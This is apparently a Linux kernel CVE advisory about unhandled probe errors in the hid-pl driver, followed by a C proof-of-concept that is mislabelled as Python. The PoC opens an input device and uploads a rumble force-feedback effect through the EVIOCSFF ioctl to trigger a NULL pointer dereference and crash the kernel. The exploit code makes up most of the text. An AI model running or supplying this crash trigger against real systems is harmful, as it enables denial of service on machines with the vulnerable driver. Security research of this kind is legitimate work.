In the Linux kernel, the following vulnerability has been resolved:
HID: hid-pl: handle probe errors
Errors in init must be reported back or we'll
follow a NULL pointer the first time FF is used.
The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-43152
* Triggering NULL pointer dereference in hid-pl driver via Force Feedback.
* This code attempts to open a device and send FF commands.
* Compile: gcc -o poc poc.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <linux/input.h>
#include <sys/ioctl.h>
#include <unistd.h>
int main(int argc, char **argv) {
const char *device = "/dev/input/event0"; // Adjust path as needed
int fd;
struct ff_effect effect;
printf("[+] Attempting to open %s\n", device);
fd = open(device, O_RDWR);
if (fd < 0) {
perror("[-] Failed to open device");
return 1;
}
printf("[+] Device opened. Sending FF upload command...\n");
// Setup a dummy force feedback effect
effect.type = FF_RUMBLE;
effect.id = -1;
effect.u.rumble.strong_magnitude = 0x8000;
effect.u.rumble.weak_magnitude = 0x8000;
effect.replay.length = 5000;
effect.replay.delay = 0;
// This ioctl triggers the vulnerable path if the driver is in the bad state
if (ioctl(fd, EVIOCSFF, &effect) < 0) {
perror("[-] IOCTL failed (device might not support FF or already crashed)");
} else {
printf("[+] IOCTL sent successfully. If kernel is vulnerable, a crash may occur.\n");
}
close(fd);
return 0;
}